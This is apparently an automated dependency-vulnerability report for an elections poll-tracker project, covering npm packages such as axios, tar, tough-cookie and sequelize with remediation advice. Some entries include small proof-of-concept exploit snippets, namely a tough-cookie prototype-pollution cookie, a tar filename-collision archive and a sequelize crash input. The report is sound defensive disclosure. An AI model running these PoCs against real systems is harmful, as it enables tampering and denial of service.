  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

There is no fixed version for node-sass.

References

medium severity

Resource Exhaustion

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1
    Remediation: Upgrade to exhibit-plugin-sass@0.11.0.

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Resource Exhaustion. In LibSass prior to 3.5.5, Sass::Eval::operator()(Sass::Binary_Expression*) inside eval.cpp allows attackers to cause a denial-of-service resulting from stack consumption via a crafted sass file, because of certain incorrect parsing of '%' as a modulo operator in parser.cpp.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade node-sass to version 4.11.0 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: request
  • Introduced through: jsdom@9.12.0 and exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD jsdom@9.12.0 request@2.88.2
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 request@2.88.2
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 node-gyp@3.8.0 request@2.88.2

Overview

request is a simplified http request client.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).

NOTE: request package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

Uncaught Exception

  • Vulnerable module: sequelize
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize@3.35.1
    Remediation: Upgrade to sequelize@4.44.4.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to Uncaught Exception due to the afterResults() function for the SQLite dialect failing to catch a TypeError exception for the results variable. This allows attackers to submit malicious input that forces the exception and crashes the Node process.

PoC

const Sequelize = require('sequelize');

const sequelize = new Sequelize({
    dialect: 'sqlite',
    storage: 'database.sqlite'
});

const TypeError = sequelize.define('TypeError', {
    name: Sequelize.STRING,
});

TypeError.sync({force: true}).then(() => {
    return TypeError.create({name: "SELECT tbl_name FROM sqlite_master"});
});

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade sequelize to version 4.44.4 or higher.

References

medium severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: tar
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 node-gyp@3.8.0 tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to the lack of folders count validation during the folder creation process. An attacker who generates a large number of sub-folders can consume memory on the system running the software and even crash the client within few seconds of running it using a path with too many sub-folders inside.

Remediation

Upgrade tar to version 6.2.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: tough-cookie
  • Introduced through: jsdom@9.12.0 and exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD jsdom@9.12.0 tough-cookie@2.5.0
    Remediation: Upgrade to jsdom@16.5.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD jsdom@9.12.0 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 node-gyp@3.8.0 request@2.88.2 tough-cookie@2.5.0

Overview

tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.

Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.

PoC

// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
  "Slonser=polluted; Domain=__proto__; Path=/notauth",
  "https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
  "Auth=Lol; Domain=google.com; Path=/notauth",
  "https://google.com/"
);

//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade tough-cookie to version 4.1.3 or higher.

References

medium severity

Improper Input Validation

  • Vulnerable module: xmldom
  • Introduced through: xmldom@0.1.31

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD xmldom@0.1.31

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

Affected versions of this package are vulnerable to Improper Input Validation. It does not correctly escape special characters when serializing elements are removed from their ancestor. This may lead to unexpected syntactic changes during XML processing in some downstream applications.

Note: Customers who use "xmldom" package, should use "@xmldom/xmldom" instead, as "xmldom" is no longer maintained.

Remediation

There is no fixed version for xmldom.

References

medium severity

Prototype Pollution

  • Vulnerable module: json5
  • Introduced through: babel-core@6.26.3, exhibit-plugin-babel@0.10.1 and others

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-core@6.26.3 json5@0.5.1
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-babel@0.10.1 babel-core@6.26.3 json5@0.5.1
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-register@6.26.0 babel-core@6.26.3 json5@0.5.1
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-core@6.26.3 babel-register@6.26.0 babel-core@6.26.3 json5@0.5.1
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-register@6.26.0 babel-core@6.26.3 json5@0.5.1
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-babel@0.10.1 babel-core@6.26.3 babel-register@6.26.0 babel-core@6.26.3 json5@0.5.1

Overview

Affected versions of this package are vulnerable to Prototype Pollution via the parse method , which does not restrict parsing of keys named __proto__, allowing specially crafted strings to pollute the prototype of the resulting object. This pollutes the prototype of the object returned by JSON5.parse and not the global Object prototype (which is the commonly understood definition of Prototype Pollution). Therefore, the actual impact will depend on how applications utilize the returned object and how they filter unwanted keys.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade json5 to version 1.0.2, 2.2.2 or higher.

References

medium severity

Improper Handling of Unicode Encoding

  • Vulnerable module: tar
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 node-gyp@3.8.0 tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS. An attacker can overwrite arbitrary files by exploiting Unicode normalization collisions in filenames within a malicious tar archive on case-insensitive or normalization-insensitive filesystems.

Note:

This is only exploitable if the system is running on a filesystem such as macOS APFS or HFS+ that ignores Unicode normalization.

Workaround

This vulnerability can be mitigated by filtering out all SymbolicLink entries when extracting tarball data.

PoC

const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});

Remediation

Upgrade tar to version 7.5.4 or higher.

References

medium severity

Improper Encoding or Escaping of Output

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output through the encode function in AxiosURLSearchParams. An attacker can smuggle a NUL byte into serialized query strings by supplying crafted parameter values, causing downstream parsers or backend components to misinterpret the request and potentially truncate or alter parameter handling.

Notes: Standard axios request flow (buildURL) uses its own encode function, which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeDirectKeys function in mergeConfig. An attacker can force a request configuration to inherit attacker-controlled properties by supplying a polluted Object.prototype, causing Axios to read inherited values, such as validateStatus, during config merging. This lets a malicious page or library alter how responses are handled, including making 4xx and 5xx responses be treated as successful and bypassing normal error handling in applications that rely on Axios defaults.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity
new

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.32.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via polluted Object.prototype properties in the merge process. An attacker can inject arbitrary HTTP headers into outbound requests or cause synchronous application crashes by manipulating upstream dependencies to pollute prototype attributes, leading to header injection or denial of service conditions.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

medium severity

Unintended Proxy or Intermediary ('Confused Deputy')

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.31.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Unintended Proxy or Intermediary ('Confused Deputy') via improper hostname normalization in the NO_PROXY environment variable. An attacker controlling request URLs can access internal or loopback services by crafting requests (with a trailing dot or [::1]) that bypass proxy restrictions, causing sensitive requests to be routed through an unintended proxy.

Note:

This is only exploitable if the application relies on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access.

Remediation

Upgrade axios to version 0.31.0, 1.15.0 or higher.

References

medium severity

Use of a Cryptographic Primitive with a Risky Implementation

  • Vulnerable module: elliptic
  • Introduced through: exhibit-plugin-browserify@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-browserify@0.10.1 browserify@13.3.0 crypto-browserify@3.12.1 browserify-sign@4.2.6 elliptic@6.6.1
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-browserify@0.10.1 browserify@13.3.0 crypto-browserify@3.12.1 create-ecdh@4.0.4 elliptic@6.6.1

Overview

elliptic is a fast elliptic-curve cryptography implementation in plain javascript.

Affected versions of this package are vulnerable to Use of a Cryptographic Primitive with a Risky Implementation due to the incorrect computation of the byte-length of k value with leading zeros resulting in its truncation. An attacker can obtain the secret key by analyzing both a faulty signature generated by a vulnerable implementation and a correct signature for the same inputs.

Note:

There is a distinct but related issue CVE-2024-48948.

Remediation

There is no fixed version for elliptic.

References

medium severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: sequelize-cli@2.8.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 lodash@1.0.2

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

